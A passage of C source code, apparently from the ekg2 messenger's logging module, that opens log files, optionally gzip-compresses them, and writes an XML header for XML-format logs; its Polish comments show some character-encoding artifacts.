olewamy kompresjê. je¶li loga nieskompresowanego nie ma, dodajemy * rozszerzenie .gz i balujemy. */ if (config_log & 4) { struct stat st; if (stat(fullname, &st) == -1) { gzFile f; if (!(f = gzopen(path, "a"))) return NULL; gzputs(f, buf); gzclose(f); zlibmode = 1; } } if (zlibmode) { /* XXX, ustawic jakas flage... */ g_strlcat(fullname, ".gz", PATH_MAX); } #endif /* if xml, prepare xml file */ if (ff == LOG_FORMAT_XML) { FILE *fdesc = fopen(fullname, "r+"); if (!fdesc) { if (!(fdesc = fopen(fullname, "w+"))) return NULL; /* XXX: what about old, locale-encoded logs? */ fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", fdesc); fputs("<!DOCTYPE ekg2log PUBLIC \"-//ekg2log//DTD ekg2log 1.0//EN\" ", fdesc); fputs("\"http://www.ekg2.org/DTD/ekg2log.dtd\">\n", fdesc); fputs("<ekg2log xmlns=\"http://www.ekg2.org/DTD/\">\n", fdesc); fputs("</ekg2log>\n", fdesc); } return fdesc; } return fopen(fullname, "a+"); }